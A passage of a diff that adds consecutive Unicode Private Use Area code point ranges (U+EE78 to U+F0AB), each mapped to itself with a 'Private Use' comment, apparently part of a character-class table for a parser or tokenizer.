+ ["\uEE78", "\uEE78"], /* Private Use */
+ ["\uEE79", "\uEE79"], /* Private Use */
+ ["\uEE7A", "\uEE7A"], /* Private Use */
+ ["\uEE7B", "\uEE7B"], /* Private Use */
+ ["\uEE7C", "\uEE7C"], /* Private Use */
+ ["\uEE7D", "\uEE7D"], /* Private Use */
+ ["\uEE7E", "\uEE7E"], /* Private Use */
+ ["\uEE7F", "\uEE7F"], /* Private Use */
+ ["\uEE80", "\uEE80"], /* Private Use */
+ ["\uEE81", "\uEE81"], /* Private Use */
+ ["\uEE82", "\uEE82"], /* Private Use */
+ ["\uEE83", "\uEE83"], /* Private Use */
+ ["\uEE84", "\uEE84"], /* Private Use */
+ ["\uEE85", "\uEE85"], /* Private Use */
+ ["\uEE86", "\uEE86"], /* Private Use */
+ ["\uEE87", "\uEE87"], /* Private Use */
+ ["\uEE88", "\uEE88"], /* Private Use */
+ ["\uEE89", "\uEE89"], /* Private Use */
+ ["\uEE8A", "\uEE8A"], /* Private Use */
+ ["\uEE8B", "\uEE8B"], /* Private Use */
+ ["\uEE8C", "\uEE8C"], /* Private Use */
+ ["\uEE8D", "\uEE8D"], /* Private Use */
+ ["\uEE8E", "\uEE8E"], /* Private Use */
+ ["\uEE8F", "\uEE8F"], /* Private Use */
+ ["\uEE90", "\uEE90"], /* Private Use */
+ ["\uEE91", "\uEE91"], /* Private Use */
+ ["\uEE92", "\uEE92"], /* Private Use */
+ ["\uEE93", "\uEE93"], /* Private Use */
+ ["\uEE94", "\uEE94"], /* Private Use */
+ ["\uEE95", "\uEE95"], /* Private Use */
+ ["\uEE96", "\uEE96"], /* Private Use */
+ ["\uEE97", "\uEE97"], /* Private Use */
+ ["\uEE98", "\uEE98"], /* Private Use */
+ ["\uEE99", "\uEE99"], /* Private Use */
+ ["\uEE9A", "\uEE9A"], /* Private Use */
+ ["\uEE9B", "\uEE9B"], /* Private Use */
+ ["\uEE9C", "\uEE9C"], /* Private Use */
+ ["\uEE9D", "\uEE9D"], /* Private Use */
+ ["\uEE9E", "\uEE9E"], /* Private Use */
+ ["\uEE9F", "\uEE9F"], /* Private Use */
+ ["\uEEA0", "\uEEA0"], /* Private Use */
+ ["\uEEA1", "\uEEA1"], /* Private Use */
+ ["\uEEA2", "\uEEA2"], /* Private Use */
+ ["\uEEA3", "\uEEA3"], /* Private Use */
+ ["\uEEA4", "\uEEA4"], /* Private Use */
+ ["\uEEA5", "\uEEA5"], /* Private Use */
+ ["\uEEA6", "\uEEA6"], /* Private Use */
+ ["\uEEA7", "\uEEA7"], /* Private Use */
+ ["\uEEA8", "\uEEA8"], /* Private Use */
+ ["\uEEA9", "\uEEA9"], /* Private Use */
+ ["\uEEAA", "\uEEAA"], /* Private Use */
+ ["\uEEAB", "\uEEAB"], /* Private Use */
+ ["\uEEAC", "\uEEAC"], /* Private Use */
+ ["\uEEAD", "\uEEAD"], /* Private Use */
+ ["\uEEAE", "\uEEAE"], /* Private Use */
+ ["\uEEAF", "\uEEAF"], /* Private Use */
+ ["\uEEB0", "\uEEB0"], /* Private Use */
+ ["\uEEB1", "\uEEB1"], /* Private Use */
+ ["\uEEB2", "\uEEB2"], /* Private Use */
+ ["\uEEB3", "\uEEB3"], /* Private Use */
+ ["\uEEB4", "\uEEB4"], /* Private Use */
+ ["\uEEB5", "\uEEB5"], /* Private Use */
+ ["\uEEB6", "\uEEB6"], /* Private Use */
+ ["\uEEB7", "\uEEB7"], /* Private Use */
+ ["\uEEB8", "\uEEB8"], /* Private Use */
+ ["\uEEB9", "\uEEB9"], /* Private Use */
+ ["\uEEBA", "\uEEBA"], /* Private Use */
+ ["\uEEBB", "\uEEBB"], /* Private Use */
+ ["\uEEBC", "\uEEBC"], /* Private Use */
+ ["\uEEBD", "\uEEBD"], /* Private Use */
+ ["\uEEBE", "\uEEBE"], /* Private Use */
+ ["\uEEBF", "\uEEBF"], /* Private Use */
+ ["\uEEC0", "\uEEC0"], /* Private Use */
+ ["\uEEC1", "\uEEC1"], /* Private Use */
+ ["\uEEC2", "\uEEC2"], /* Private Use */
+ ["\uEEC3", "\uEEC3"], /* Private Use */
+ ["\uEEC4", "\uEEC4"], /* Private Use */
+ ["\uEEC5", "\uEEC5"], /* Private Use */
+ ["\uEEC6", "\uEEC6"], /* Private Use */
+ ["\uEEC7", "\uEEC7"], /* Private Use */
+ ["\uEEC8", "\uEEC8"], /* Private Use */
+ ["\uEEC9", "\uEEC9"], /* Private Use */
+ ["\uEECA", "\uEECA"], /* Private Use */
+ ["\uEECB", "\uEECB"], /* Private Use */
+ ["\uEECC", "\uEECC"], /* Private Use */
+ ["\uEECD", "\uEECD"], /* Private Use */
+ ["\uEECE", "\uEECE"], /* Private Use */
+ ["\uEECF", "\uEECF"], /* Private Use */
+ ["\uEED0", "\uEED0"], /* Private Use */
+ ["\uEED1", "\uEED1"], /* Private Use */
+ ["\uEED2", "\uEED2"], /* Private Use */
+ ["\uEED3", "\uEED3"], /* Private Use */
+ ["\uEED4", "\uEED4"], /* Private Use */
+ ["\uEED5", "\uEED5"], /* Private Use */
+ ["\uEED6", "\uEED6"], /* Private Use */
+ ["\uEED7", "\uEED7"], /* Private Use */
+ ["\uEED8", "\uEED8"], /* Private Use */
+ ["\uEED9", "\uEED9"], /* Private Use */
+ ["\uEEDA", "\uEEDA"], /* Private Use */
+ ["\uEEDB", "\uEEDB"], /* Private Use */
+ ["\uEEDC", "\uEEDC"], /* Private Use */
+ ["\uEEDD", "\uEEDD"], /* Private Use */
+ ["\uEEDE", "\uEEDE"], /* Private Use */
+ ["\uEEDF", "\uEEDF"], /* Private Use */
+ ["\uEEE0", "\uEEE0"], /* Private Use */
+ ["\uEEE1", "\uEEE1"], /* Private Use */
+ ["\uEEE2", "\uEEE2"], /* Private Use */
+ ["\uEEE3", "\uEEE3"], /* Private Use */
+ ["\uEEE4", "\uEEE4"], /* Private Use */
+ ["\uEEE5", "\uEEE5"], /* Private Use */
+ ["\uEEE6", "\uEEE6"], /* Private Use */
+ ["\uEEE7", "\uEEE7"], /* Private Use */
+ ["\uEEE8", "\uEEE8"], /* Private Use */
+ ["\uEEE9", "\uEEE9"], /* Private Use */
+ ["\uEEEA", "\uEEEA"], /* Private Use */
+ ["\uEEEB", "\uEEEB"], /* Private Use */
+ ["\uEEEC", "\uEEEC"], /* Private Use */
+ ["\uEEED", "\uEEED"], /* Private Use */
+ ["\uEEEE", "\uEEEE"], /* Private Use */
+ ["\uEEEF", "\uEEEF"], /* Private Use */
+ ["\uEEF0", "\uEEF0"], /* Private Use */
+ ["\uEEF1", "\uEEF1"], /* Private Use */
+ ["\uEEF2", "\uEEF2"], /* Private Use */
+ ["\uEEF3", "\uEEF3"], /* Private Use */
+ ["\uEEF4", "\uEEF4"], /* Private Use */
+ ["\uEEF5", "\uEEF5"], /* Private Use */
+ ["\uEEF6", "\uEEF6"], /* Private Use */
+ ["\uEEF7", "\uEEF7"], /* Private Use */
+ ["\uEEF8", "\uEEF8"], /* Private Use */
+ ["\uEEF9", "\uEEF9"], /* Private Use */
+ ["\uEEFA", "\uEEFA"], /* Private Use */
+ ["\uEEFB", "\uEEFB"], /* Private Use */
+ ["\uEEFC", "\uEEFC"], /* Private Use */
+ ["\uEEFD", "\uEEFD"], /* Private Use */
+ ["\uEEFE", "\uEEFE"], /* Private Use */
+ ["\uEEFF", "\uEEFF"], /* Private Use */
+ ["\uEF00", "\uEF00"], /* Private Use */
+ ["\uEF01", "\uEF01"], /* Private Use */
+ ["\uEF02", "\uEF02"], /* Private Use */
+ ["\uEF03", "\uEF03"], /* Private Use */
+ ["\uEF04", "\uEF04"], /* Private Use */
+ ["\uEF05", "\uEF05"], /* Private Use */
+ ["\uEF06", "\uEF06"], /* Private Use */
+ ["\uEF07", "\uEF07"], /* Private Use */
+ ["\uEF08", "\uEF08"], /* Private Use */
+ ["\uEF09", "\uEF09"], /* Private Use */
+ ["\uEF0A", "\uEF0A"], /* Private Use */
+ ["\uEF0B", "\uEF0B"], /* Private Use */
+ ["\uEF0C", "\uEF0C"], /* Private Use */
+ ["\uEF0D", "\uEF0D"], /* Private Use */
+ ["\uEF0E", "\uEF0E"], /* Private Use */
+ ["\uEF0F", "\uEF0F"], /* Private Use */
+ ["\uEF10", "\uEF10"], /* Private Use */
+ ["\uEF11", "\uEF11"], /* Private Use */
+ ["\uEF12", "\uEF12"], /* Private Use */
+ ["\uEF13", "\uEF13"], /* Private Use */
+ ["\uEF14", "\uEF14"], /* Private Use */
+ ["\uEF15", "\uEF15"], /* Private Use */
+ ["\uEF16", "\uEF16"], /* Private Use */
+ ["\uEF17", "\uEF17"], /* Private Use */
+ ["\uEF18", "\uEF18"], /* Private Use */
+ ["\uEF19", "\uEF19"], /* Private Use */
+ ["\uEF1A", "\uEF1A"], /* Private Use */
+ ["\uEF1B", "\uEF1B"], /* Private Use */
+ ["\uEF1C", "\uEF1C"], /* Private Use */
+ ["\uEF1D", "\uEF1D"], /* Private Use */
+ ["\uEF1E", "\uEF1E"], /* Private Use */
+ ["\uEF1F", "\uEF1F"], /* Private Use */
+ ["\uEF20", "\uEF20"], /* Private Use */
+ ["\uEF21", "\uEF21"], /* Private Use */
+ ["\uEF22", "\uEF22"], /* Private Use */
+ ["\uEF23", "\uEF23"], /* Private Use */
+ ["\uEF24", "\uEF24"], /* Private Use */
+ ["\uEF25", "\uEF25"], /* Private Use */
+ ["\uEF26", "\uEF26"], /* Private Use */
+ ["\uEF27", "\uEF27"], /* Private Use */
+ ["\uEF28", "\uEF28"], /* Private Use */
+ ["\uEF29", "\uEF29"], /* Private Use */
+ ["\uEF2A", "\uEF2A"], /* Private Use */
+ ["\uEF2B", "\uEF2B"], /* Private Use */
+ ["\uEF2C", "\uEF2C"], /* Private Use */
+ ["\uEF2D", "\uEF2D"], /* Private Use */
+ ["\uEF2E", "\uEF2E"], /* Private Use */
+ ["\uEF2F", "\uEF2F"], /* Private Use */
+ ["\uEF30", "\uEF30"], /* Private Use */
+ ["\uEF31", "\uEF31"], /* Private Use */
+ ["\uEF32", "\uEF32"], /* Private Use */
+ ["\uEF33", "\uEF33"], /* Private Use */
+ ["\uEF34", "\uEF34"], /* Private Use */
+ ["\uEF35", "\uEF35"], /* Private Use */
+ ["\uEF36", "\uEF36"], /* Private Use */
+ ["\uEF37", "\uEF37"], /* Private Use */
+ ["\uEF38", "\uEF38"], /* Private Use */
+ ["\uEF39", "\uEF39"], /* Private Use */
+ ["\uEF3A", "\uEF3A"], /* Private Use */
+ ["\uEF3B", "\uEF3B"], /* Private Use */
+ ["\uEF3C", "\uEF3C"], /* Private Use */
+ ["\uEF3D", "\uEF3D"], /* Private Use */
+ ["\uEF3E", "\uEF3E"], /* Private Use */
+ ["\uEF3F", "\uEF3F"], /* Private Use */
+ ["\uEF40", "\uEF40"], /* Private Use */
+ ["\uEF41", "\uEF41"], /* Private Use */
+ ["\uEF42", "\uEF42"], /* Private Use */
+ ["\uEF43", "\uEF43"], /* Private Use */
+ ["\uEF44", "\uEF44"], /* Private Use */
+ ["\uEF45", "\uEF45"], /* Private Use */
+ ["\uEF46", "\uEF46"], /* Private Use */
+ ["\uEF47", "\uEF47"], /* Private Use */
+ ["\uEF48", "\uEF48"], /* Private Use */
+ ["\uEF49", "\uEF49"], /* Private Use */
+ ["\uEF4A", "\uEF4A"], /* Private Use */
+ ["\uEF4B", "\uEF4B"], /* Private Use */
+ ["\uEF4C", "\uEF4C"], /* Private Use */
+ ["\uEF4D", "\uEF4D"], /* Private Use */
+ ["\uEF4E", "\uEF4E"], /* Private Use */
+ ["\uEF4F", "\uEF4F"], /* Private Use */
+ ["\uEF50", "\uEF50"], /* Private Use */
+ ["\uEF51", "\uEF51"], /* Private Use */
+ ["\uEF52", "\uEF52"], /* Private Use */
+ ["\uEF53", "\uEF53"], /* Private Use */
+ ["\uEF54", "\uEF54"], /* Private Use */
+ ["\uEF55", "\uEF55"], /* Private Use */
+ ["\uEF56", "\uEF56"], /* Private Use */
+ ["\uEF57", "\uEF57"], /* Private Use */
+ ["\uEF58", "\uEF58"], /* Private Use */
+ ["\uEF59", "\uEF59"], /* Private Use */
+ ["\uEF5A", "\uEF5A"], /* Private Use */
+ ["\uEF5B", "\uEF5B"], /* Private Use */
+ ["\uEF5C", "\uEF5C"], /* Private Use */
+ ["\uEF5D", "\uEF5D"], /* Private Use */
+ ["\uEF5E", "\uEF5E"], /* Private Use */
+ ["\uEF5F", "\uEF5F"], /* Private Use */
+ ["\uEF60", "\uEF60"], /* Private Use */
+ ["\uEF61", "\uEF61"], /* Private Use */
+ ["\uEF62", "\uEF62"], /* Private Use */
+ ["\uEF63", "\uEF63"], /* Private Use */
+ ["\uEF64", "\uEF64"], /* Private Use */
+ ["\uEF65", "\uEF65"], /* Private Use */
+ ["\uEF66", "\uEF66"], /* Private Use */
+ ["\uEF67", "\uEF67"], /* Private Use */
+ ["\uEF68", "\uEF68"], /* Private Use */
+ ["\uEF69", "\uEF69"], /* Private Use */
+ ["\uEF6A", "\uEF6A"], /* Private Use */
+ ["\uEF6B", "\uEF6B"], /* Private Use */
+ ["\uEF6C", "\uEF6C"], /* Private Use */
+ ["\uEF6D", "\uEF6D"], /* Private Use */
+ ["\uEF6E", "\uEF6E"], /* Private Use */
+ ["\uEF6F", "\uEF6F"], /* Private Use */
+ ["\uEF70", "\uEF70"], /* Private Use */
+ ["\uEF71", "\uEF71"], /* Private Use */
+ ["\uEF72", "\uEF72"], /* Private Use */
+ ["\uEF73", "\uEF73"], /* Private Use */
+ ["\uEF74", "\uEF74"], /* Private Use */
+ ["\uEF75", "\uEF75"], /* Private Use */
+ ["\uEF76", "\uEF76"], /* Private Use */
+ ["\uEF77", "\uEF77"], /* Private Use */
+ ["\uEF78", "\uEF78"], /* Private Use */
+ ["\uEF79", "\uEF79"], /* Private Use */
+ ["\uEF7A", "\uEF7A"], /* Private Use */
+ ["\uEF7B", "\uEF7B"], /* Private Use */
+ ["\uEF7C", "\uEF7C"], /* Private Use */
+ ["\uEF7D", "\uEF7D"], /* Private Use */
+ ["\uEF7E", "\uEF7E"], /* Private Use */
+ ["\uEF7F", "\uEF7F"], /* Private Use */
+ ["\uEF80", "\uEF80"], /* Private Use */
+ ["\uEF81", "\uEF81"], /* Private Use */
+ ["\uEF82", "\uEF82"], /* Private Use */
+ ["\uEF83", "\uEF83"], /* Private Use */
+ ["\uEF84", "\uEF84"], /* Private Use */
+ ["\uEF85", "\uEF85"], /* Private Use */
+ ["\uEF86", "\uEF86"], /* Private Use */
+ ["\uEF87", "\uEF87"], /* Private Use */
+ ["\uEF88", "\uEF88"], /* Private Use */
+ ["\uEF89", "\uEF89"], /* Private Use */
+ ["\uEF8A", "\uEF8A"], /* Private Use */
+ ["\uEF8B", "\uEF8B"], /* Private Use */
+ ["\uEF8C", "\uEF8C"], /* Private Use */
+ ["\uEF8D", "\uEF8D"], /* Private Use */
+ ["\uEF8E", "\uEF8E"], /* Private Use */
+ ["\uEF8F", "\uEF8F"], /* Private Use */
+ ["\uEF90", "\uEF90"], /* Private Use */
+ ["\uEF91", "\uEF91"], /* Private Use */
+ ["\uEF92", "\uEF92"], /* Private Use */
+ ["\uEF93", "\uEF93"], /* Private Use */
+ ["\uEF94", "\uEF94"], /* Private Use */
+ ["\uEF95", "\uEF95"], /* Private Use */
+ ["\uEF96", "\uEF96"], /* Private Use */
+ ["\uEF97", "\uEF97"], /* Private Use */
+ ["\uEF98", "\uEF98"], /* Private Use */
+ ["\uEF99", "\uEF99"], /* Private Use */
+ ["\uEF9A", "\uEF9A"], /* Private Use */
+ ["\uEF9B", "\uEF9B"], /* Private Use */
+ ["\uEF9C", "\uEF9C"], /* Private Use */
+ ["\uEF9D", "\uEF9D"], /* Private Use */
+ ["\uEF9E", "\uEF9E"], /* Private Use */
+ ["\uEF9F", "\uEF9F"], /* Private Use */
+ ["\uEFA0", "\uEFA0"], /* Private Use */
+ ["\uEFA1", "\uEFA1"], /* Private Use */
+ ["\uEFA2", "\uEFA2"], /* Private Use */
+ ["\uEFA3", "\uEFA3"], /* Private Use */
+ ["\uEFA4", "\uEFA4"], /* Private Use */
+ ["\uEFA5", "\uEFA5"], /* Private Use */
+ ["\uEFA6", "\uEFA6"], /* Private Use */
+ ["\uEFA7", "\uEFA7"], /* Private Use */
+ ["\uEFA8", "\uEFA8"], /* Private Use */
+ ["\uEFA9", "\uEFA9"], /* Private Use */
+ ["\uEFAA", "\uEFAA"], /* Private Use */
+ ["\uEFAB", "\uEFAB"], /* Private Use */
+ ["\uEFAC", "\uEFAC"], /* Private Use */
+ ["\uEFAD", "\uEFAD"], /* Private Use */
+ ["\uEFAE", "\uEFAE"], /* Private Use */
+ ["\uEFAF", "\uEFAF"], /* Private Use */
+ ["\uEFB0", "\uEFB0"], /* Private Use */
+ ["\uEFB1", "\uEFB1"], /* Private Use */
+ ["\uEFB2", "\uEFB2"], /* Private Use */
+ ["\uEFB3", "\uEFB3"], /* Private Use */
+ ["\uEFB4", "\uEFB4"], /* Private Use */
+ ["\uEFB5", "\uEFB5"], /* Private Use */
+ ["\uEFB6", "\uEFB6"], /* Private Use */
+ ["\uEFB7", "\uEFB7"], /* Private Use */
+ ["\uEFB8", "\uEFB8"], /* Private Use */
+ ["\uEFB9", "\uEFB9"], /* Private Use */
+ ["\uEFBA", "\uEFBA"], /* Private Use */
+ ["\uEFBB", "\uEFBB"], /* Private Use */
+ ["\uEFBC", "\uEFBC"], /* Private Use */
+ ["\uEFBD", "\uEFBD"], /* Private Use */
+ ["\uEFBE", "\uEFBE"], /* Private Use */
+ ["\uEFBF", "\uEFBF"], /* Private Use */
+ ["\uEFC0", "\uEFC0"], /* Private Use */
+ ["\uEFC1", "\uEFC1"], /* Private Use */
+ ["\uEFC2", "\uEFC2"], /* Private Use */
+ ["\uEFC3", "\uEFC3"], /* Private Use */
+ ["\uEFC4", "\uEFC4"], /* Private Use */
+ ["\uEFC5", "\uEFC5"], /* Private Use */
+ ["\uEFC6", "\uEFC6"], /* Private Use */
+ ["\uEFC7", "\uEFC7"], /* Private Use */
+ ["\uEFC8", "\uEFC8"], /* Private Use */
+ ["\uEFC9", "\uEFC9"], /* Private Use */
+ ["\uEFCA", "\uEFCA"], /* Private Use */
+ ["\uEFCB", "\uEFCB"], /* Private Use */
+ ["\uEFCC", "\uEFCC"], /* Private Use */
+ ["\uEFCD", "\uEFCD"], /* Private Use */
+ ["\uEFCE", "\uEFCE"], /* Private Use */
+ ["\uEFCF", "\uEFCF"], /* Private Use */
+ ["\uEFD0", "\uEFD0"], /* Private Use */
+ ["\uEFD1", "\uEFD1"], /* Private Use */
+ ["\uEFD2", "\uEFD2"], /* Private Use */
+ ["\uEFD3", "\uEFD3"], /* Private Use */
+ ["\uEFD4", "\uEFD4"], /* Private Use */
+ ["\uEFD5", "\uEFD5"], /* Private Use */
+ ["\uEFD6", "\uEFD6"], /* Private Use */
+ ["\uEFD7", "\uEFD7"], /* Private Use */
+ ["\uEFD8", "\uEFD8"], /* Private Use */
+ ["\uEFD9", "\uEFD9"], /* Private Use */
+ ["\uEFDA", "\uEFDA"], /* Private Use */
+ ["\uEFDB", "\uEFDB"], /* Private Use */
+ ["\uEFDC", "\uEFDC"], /* Private Use */
+ ["\uEFDD", "\uEFDD"], /* Private Use */
+ ["\uEFDE", "\uEFDE"], /* Private Use */
+ ["\uEFDF", "\uEFDF"], /* Private Use */
+ ["\uEFE0", "\uEFE0"], /* Private Use */
+ ["\uEFE1", "\uEFE1"], /* Private Use */
+ ["\uEFE2", "\uEFE2"], /* Private Use */
+ ["\uEFE3", "\uEFE3"], /* Private Use */
+ ["\uEFE4", "\uEFE4"], /* Private Use */
+ ["\uEFE5", "\uEFE5"], /* Private Use */
+ ["\uEFE6", "\uEFE6"], /* Private Use */
+ ["\uEFE7", "\uEFE7"], /* Private Use */
+ ["\uEFE8", "\uEFE8"], /* Private Use */
+ ["\uEFE9", "\uEFE9"], /* Private Use */
+ ["\uEFEA", "\uEFEA"], /* Private Use */
+ ["\uEFEB", "\uEFEB"], /* Private Use */
+ ["\uEFEC", "\uEFEC"], /* Private Use */
+ ["\uEFED", "\uEFED"], /* Private Use */
+ ["\uEFEE", "\uEFEE"], /* Private Use */
+ ["\uEFEF", "\uEFEF"], /* Private Use */
+ ["\uEFF0", "\uEFF0"], /* Private Use */
+ ["\uEFF1", "\uEFF1"], /* Private Use */
+ ["\uEFF2", "\uEFF2"], /* Private Use */
+ ["\uEFF3", "\uEFF3"], /* Private Use */
+ ["\uEFF4", "\uEFF4"], /* Private Use */
+ ["\uEFF5", "\uEFF5"], /* Private Use */
+ ["\uEFF6", "\uEFF6"], /* Private Use */
+ ["\uEFF7", "\uEFF7"], /* Private Use */
+ ["\uEFF8", "\uEFF8"], /* Private Use */
+ ["\uEFF9", "\uEFF9"], /* Private Use */
+ ["\uEFFA", "\uEFFA"], /* Private Use */
+ ["\uEFFB", "\uEFFB"], /* Private Use */
+ ["\uEFFC", "\uEFFC"], /* Private Use */
+ ["\uEFFD", "\uEFFD"], /* Private Use */
+ ["\uEFFE", "\uEFFE"], /* Private Use */
+ ["\uEFFF", "\uEFFF"], /* Private Use */
+ ["\uF000", "\uF000"], /* Private Use */
+ ["\uF001", "\uF001"], /* Private Use */
+ ["\uF002", "\uF002"], /* Private Use */
+ ["\uF003", "\uF003"], /* Private Use */
+ ["\uF004", "\uF004"], /* Private Use */
+ ["\uF005", "\uF005"], /* Private Use */
+ ["\uF006", "\uF006"], /* Private Use */
+ ["\uF007", "\uF007"], /* Private Use */
+ ["\uF008", "\uF008"], /* Private Use */
+ ["\uF009", "\uF009"], /* Private Use */
+ ["\uF00A", "\uF00A"], /* Private Use */
+ ["\uF00B", "\uF00B"], /* Private Use */
+ ["\uF00C", "\uF00C"], /* Private Use */
+ ["\uF00D", "\uF00D"], /* Private Use */
+ ["\uF00E", "\uF00E"], /* Private Use */
+ ["\uF00F", "\uF00F"], /* Private Use */
+ ["\uF010", "\uF010"], /* Private Use */
+ ["\uF011", "\uF011"], /* Private Use */
+ ["\uF012", "\uF012"], /* Private Use */
+ ["\uF013", "\uF013"], /* Private Use */
+ ["\uF014", "\uF014"], /* Private Use */
+ ["\uF015", "\uF015"], /* Private Use */
+ ["\uF016", "\uF016"], /* Private Use */
+ ["\uF017", "\uF017"], /* Private Use */
+ ["\uF018", "\uF018"], /* Private Use */
+ ["\uF019", "\uF019"], /* Private Use */
+ ["\uF01A", "\uF01A"], /* Private Use */
+ ["\uF01B", "\uF01B"], /* Private Use */
+ ["\uF01C", "\uF01C"], /* Private Use */
+ ["\uF01D", "\uF01D"], /* Private Use */
+ ["\uF01E", "\uF01E"], /* Private Use */
+ ["\uF01F", "\uF01F"], /* Private Use */
+ ["\uF020", "\uF020"], /* Private Use */
+ ["\uF021", "\uF021"], /* Private Use */
+ ["\uF022", "\uF022"], /* Private Use */
+ ["\uF023", "\uF023"], /* Private Use */
+ ["\uF024", "\uF024"], /* Private Use */
+ ["\uF025", "\uF025"], /* Private Use */
+ ["\uF026", "\uF026"], /* Private Use */
+ ["\uF027", "\uF027"], /* Private Use */
+ ["\uF028", "\uF028"], /* Private Use */
+ ["\uF029", "\uF029"], /* Private Use */
+ ["\uF02A", "\uF02A"], /* Private Use */
+ ["\uF02B", "\uF02B"], /* Private Use */
+ ["\uF02C", "\uF02C"], /* Private Use */
+ ["\uF02D", "\uF02D"], /* Private Use */
+ ["\uF02E", "\uF02E"], /* Private Use */
+ ["\uF02F", "\uF02F"], /* Private Use */
+ ["\uF030", "\uF030"], /* Private Use */
+ ["\uF031", "\uF031"], /* Private Use */
+ ["\uF032", "\uF032"], /* Private Use */
+ ["\uF033", "\uF033"], /* Private Use */
+ ["\uF034", "\uF034"], /* Private Use */
+ ["\uF035", "\uF035"], /* Private Use */
+ ["\uF036", "\uF036"], /* Private Use */
+ ["\uF037", "\uF037"], /* Private Use */
+ ["\uF038", "\uF038"], /* Private Use */
+ ["\uF039", "\uF039"], /* Private Use */
+ ["\uF03A", "\uF03A"], /* Private Use */
+ ["\uF03B", "\uF03B"], /* Private Use */
+ ["\uF03C", "\uF03C"], /* Private Use */
+ ["\uF03D", "\uF03D"], /* Private Use */
+ ["\uF03E", "\uF03E"], /* Private Use */
+ ["\uF03F", "\uF03F"], /* Private Use */
+ ["\uF040", "\uF040"], /* Private Use */
+ ["\uF041", "\uF041"], /* Private Use */
+ ["\uF042", "\uF042"], /* Private Use */
+ ["\uF043", "\uF043"], /* Private Use */
+ ["\uF044", "\uF044"], /* Private Use */
+ ["\uF045", "\uF045"], /* Private Use */
+ ["\uF046", "\uF046"], /* Private Use */
+ ["\uF047", "\uF047"], /* Private Use */
+ ["\uF048", "\uF048"], /* Private Use */
+ ["\uF049", "\uF049"], /* Private Use */
+ ["\uF04A", "\uF04A"], /* Private Use */
+ ["\uF04B", "\uF04B"], /* Private Use */
+ ["\uF04C", "\uF04C"], /* Private Use */
+ ["\uF04D", "\uF04D"], /* Private Use */
+ ["\uF04E", "\uF04E"], /* Private Use */
+ ["\uF04F", "\uF04F"], /* Private Use */
+ ["\uF050", "\uF050"], /* Private Use */
+ ["\uF051", "\uF051"], /* Private Use */
+ ["\uF052", "\uF052"], /* Private Use */
+ ["\uF053", "\uF053"], /* Private Use */
+ ["\uF054", "\uF054"], /* Private Use */
+ ["\uF055", "\uF055"], /* Private Use */
+ ["\uF056", "\uF056"], /* Private Use */
+ ["\uF057", "\uF057"], /* Private Use */
+ ["\uF058", "\uF058"], /* Private Use */
+ ["\uF059", "\uF059"], /* Private Use */
+ ["\uF05A", "\uF05A"], /* Private Use */
+ ["\uF05B", "\uF05B"], /* Private Use */
+ ["\uF05C", "\uF05C"], /* Private Use */
+ ["\uF05D", "\uF05D"], /* Private Use */
+ ["\uF05E", "\uF05E"], /* Private Use */
+ ["\uF05F", "\uF05F"], /* Private Use */
+ ["\uF060", "\uF060"], /* Private Use */
+ ["\uF061", "\uF061"], /* Private Use */
+ ["\uF062", "\uF062"], /* Private Use */
+ ["\uF063", "\uF063"], /* Private Use */
+ ["\uF064", "\uF064"], /* Private Use */
+ ["\uF065", "\uF065"], /* Private Use */
+ ["\uF066", "\uF066"], /* Private Use */
+ ["\uF067", "\uF067"], /* Private Use */
+ ["\uF068", "\uF068"], /* Private Use */
+ ["\uF069", "\uF069"], /* Private Use */
+ ["\uF06A", "\uF06A"], /* Private Use */
+ ["\uF06B", "\uF06B"], /* Private Use */
+ ["\uF06C", "\uF06C"], /* Private Use */
+ ["\uF06D", "\uF06D"], /* Private Use */
+ ["\uF06E", "\uF06E"], /* Private Use */
+ ["\uF06F", "\uF06F"], /* Private Use */
+ ["\uF070", "\uF070"], /* Private Use */
+ ["\uF071", "\uF071"], /* Private Use */
+ ["\uF072", "\uF072"], /* Private Use */
+ ["\uF073", "\uF073"], /* Private Use */
+ ["\uF074", "\uF074"], /* Private Use */
+ ["\uF075", "\uF075"], /* Private Use */
+ ["\uF076", "\uF076"], /* Private Use */
+ ["\uF077", "\uF077"], /* Private Use */
+ ["\uF078", "\uF078"], /* Private Use */
+ ["\uF079", "\uF079"], /* Private Use */
+ ["\uF07A", "\uF07A"], /* Private Use */
+ ["\uF07B", "\uF07B"], /* Private Use */
+ ["\uF07C", "\uF07C"], /* Private Use */
+ ["\uF07D", "\uF07D"], /* Private Use */
+ ["\uF07E", "\uF07E"], /* Private Use */
+ ["\uF07F", "\uF07F"], /* Private Use */
+ ["\uF080", "\uF080"], /* Private Use */
+ ["\uF081", "\uF081"], /* Private Use */
+ ["\uF082", "\uF082"], /* Private Use */
+ ["\uF083", "\uF083"], /* Private Use */
+ ["\uF084", "\uF084"], /* Private Use */
+ ["\uF085", "\uF085"], /* Private Use */
+ ["\uF086", "\uF086"], /* Private Use */
+ ["\uF087", "\uF087"], /* Private Use */
+ ["\uF088", "\uF088"], /* Private Use */
+ ["\uF089", "\uF089"], /* Private Use */
+ ["\uF08A", "\uF08A"], /* Private Use */
+ ["\uF08B", "\uF08B"], /* Private Use */
+ ["\uF08C", "\uF08C"], /* Private Use */
+ ["\uF08D", "\uF08D"], /* Private Use */
+ ["\uF08E", "\uF08E"], /* Private Use */
+ ["\uF08F", "\uF08F"], /* Private Use */
+ ["\uF090", "\uF090"], /* Private Use */
+ ["\uF091", "\uF091"], /* Private Use */
+ ["\uF092", "\uF092"], /* Private Use */
+ ["\uF093", "\uF093"], /* Private Use */
+ ["\uF094", "\uF094"], /* Private Use */
+ ["\uF095", "\uF095"], /* Private Use */
+ ["\uF096", "\uF096"], /* Private Use */
+ ["\uF097", "\uF097"], /* Private Use */
+ ["\uF098", "\uF098"], /* Private Use */
+ ["\uF099", "\uF099"], /* Private Use */
+ ["\uF09A", "\uF09A"], /* Private Use */
+ ["\uF09B", "\uF09B"], /* Private Use */
+ ["\uF09C", "\uF09C"], /* Private Use */
+ ["\uF09D", "\uF09D"], /* Private Use */
+ ["\uF09E", "\uF09E"], /* Private Use */
+ ["\uF09F", "\uF09F"], /* Private Use */
+ ["\uF0A0", "\uF0A0"], /* Private Use */
+ ["\uF0A1", "\uF0A1"], /* Private Use */
+ ["\uF0A2", "\uF0A2"], /* Private Use */
+ ["\uF0A3", "\uF0A3"], /* Private Use */
+ ["\uF0A4", "\uF0A4"], /* Private Use */
+ ["\uF0A5", "\uF0A5"], /* Private Use */
+ ["\uF0A6", "\uF0A6"], /* Private Use */
+ ["\uF0A7", "\uF0A7"], /* Private Use */
+ ["\uF0A8", "\uF0A8"], /* Private Use */
+ ["\uF0A9", "\uF0A9"], /* Private Use */
+ ["\uF0AA", "\uF0AA"], /* Private Use */
+ ["\uF0AB", "\uF0AB"], /* Private Use */
